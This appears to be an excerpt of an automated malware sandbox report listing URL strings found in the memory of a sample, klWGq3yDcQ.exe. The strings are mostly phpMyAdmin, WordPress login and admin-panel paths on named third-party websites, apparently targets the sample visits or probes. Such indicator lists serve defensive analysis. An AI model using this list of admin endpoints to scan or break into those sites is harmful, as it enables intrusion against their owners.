Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dstaq.com/phpmyadmin/g
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eco-landeck.at/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eco-landeck.at/administrator/G-
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embed.tawk.to/5d1dd8d87a48df6da242ee76/default
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-admin/js/password-strength-meter.min.js?ver=6.3.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-admin/js/user-profile.min.js?ver=6.3.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/dist/i18n.min.js?ver=7701b0c3857f914212ef
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.11
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/underscore.min.js?ver=1.13.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://engel-firm.com/wp-login.php?action=lostpassword
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.3.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/plugins/custom-facebook-feed/js/cff-scripts.js?ver=2.16.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-image-cdn/dist/imag
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/plugins/responsive-accordion-and-collapse/js/accordion.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/plugins/responsive-accordion-and-collapse/js/bootstrap.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/assets/animations/animations.min.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/assets/jplayer/jplayer.min.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/js/menu.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/js/parallax/translate3d.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/js/plugins.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-content/themes/betheme/js/scripts.js?ver=17.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-includes/js/jquery/ui/accordion.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-includes/js/jquery/ui/sortable.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gasp-ga.com/wp-includes/js/jquery/ui/tabs.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gatewaytoearlylearning.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/css/forms.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/css/l10n.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/css/login.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/js/password-strength-meter.min.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-admin/js/user-profile.min.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-content/uploads/2023/05/favicon.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/css/buttons.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/css/dashicons.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/dist/i18n.min.js?ver=7701b0c3857f914212ef
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/underscore.min.js?ver=1.13.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/wp-util.min.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-includes/js/zxcvbn-async.min.js?ver=1.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gccb.co.in/wp-login.php?action=lostpassword
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gethsemane.org/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gethsemane.org/phpmyadmin/Y
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getquipu.com/
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getquipu.com/ca/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getquipu.com/en/
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getquipu.com/fr/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grantstech.io/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grantstech.io/phpmyadmin//
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greenrworld.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/#/schema/logo/image/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/#organization
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/#website
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/?s=
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/phpmyadmin/E
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-admin/js/user-profile.min.js?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/3d-flipbook-dflip-lite/assets/js/dflip.min.js?ver=2.
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/chaty/js/cht-front-script.min.js?ver=3.1.81695051900
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.3
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.3
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/dg-divi-carousel/scripts/frontend-bundle.min.js?ver=
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/plugins/dg-divi-carousel/scripts/swiper.min.js?ver=2.0.26
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/themes/Divi/core/admin/js/common.js?ver=4.23.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/j
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/themes/Divi/js/scripts.min.js?ver=4.23.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-content/uploads/2022/04/cropped-Flat-Icon.jpg
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-includes/css/dist/block-library/style.min.css?ver=bb270fba1988038f56
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=bb270fba1988038
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-includes/js/wp-util.min.js?ver=bb270fba1988038f5680f75b7475565e
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/wp-login.phpater.group995
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gruporegiosafety.com/xmlrpc.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/phpmyadmin/U
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/wp-content/plugins/age-gate/dist/all.js?ver=3.3.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/wp-content/plugins/dearpdf-lite/assets/js/dearpdf-lite.min.js?ver=2.0.38
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/wp-content/themes/Divi/core/admin/js/common.js?ver=4.23.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jqu
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hightideinc.com/wp-content/themes/Divi/js/scripts.min.js?ver=4.23.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himontessori.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hmichaelandco.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/gasp-ga.com/wp-content/uploads/2018/05/cropped-favicon-1.jpg?fit=180%2C180&ss
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/gasp-ga.com/wp-content/uploads/2018/05/cropped-favicon-1.jpg?fit=192%2C192&ss
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/gasp-ga.com/wp-content/uploads/2018/05/cropped-favicon-1.jpg?fit=270%2C270&ss
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/gasp-ga.com/wp-content/uploads/2018/05/cropped-favicon-1.jpg?fit=32%2C32&ssl=
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/micro-design.com/wp-content/uploads/2023/08/appIcon.png?fit=180%2C180
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/micro-design.com/wp-content/uploads/2023/08/appIcon.png?fit=192%2C192
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/micro-design.com/wp-content/uploads/2023/08/appIcon.png?fit=32%2C32
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://image.jimcdn.com/app/cms/image/transf/dimension=175x10000:format=png/path/s5310617dc1962275/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://image.jimcdn.com/app/cms/image/transf/dimension=320x10000:format=png/path/s5310617dc1962275/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://image.jimcdn.com/app/cms/image/transf/dimension=350x10000:format=png/path/s5310617dc1962275/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images.cws.digital/fornecedores/m/rech.jpg
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img1.wsimg.com/parking-lander/static/css/main.ba077a97.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img1.wsimg.com/parking-lander/static/js/main.ed307b3c.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://institucional.rech.com/lojas/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000003FFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://j-president.net/aichi/daisyokogyo/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com#identity
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com//assets/dist/main.cd86828fbd0190c4211a.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com/assets/uploads/Logo.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com/assets/uploads/_1200x630_fit_center-center_82_none/ogimage.jpg?mtime=1605
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jamiesonmullin.com/assets/uploads/_600x60_fit_center-center_82_none/Logo.png?mtime=160565081
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://knu.ac.in/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://knu.ac.in/phpmyadmin/6
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://knu.ac.in/phpmyadmin/u3
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://knu.ac.in/phpmyadmin/x
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://krkconcord.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://krkconcord.com/phpmyadmin/:
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lgs-strategies.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lgs-strategies.com/phpmyadmin/jv
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/Me.htm?v=3
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?scope=openid
Source: klWGq3yDcQ.exe, 00000001.00000002.2868964891.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJLj9sgFIX
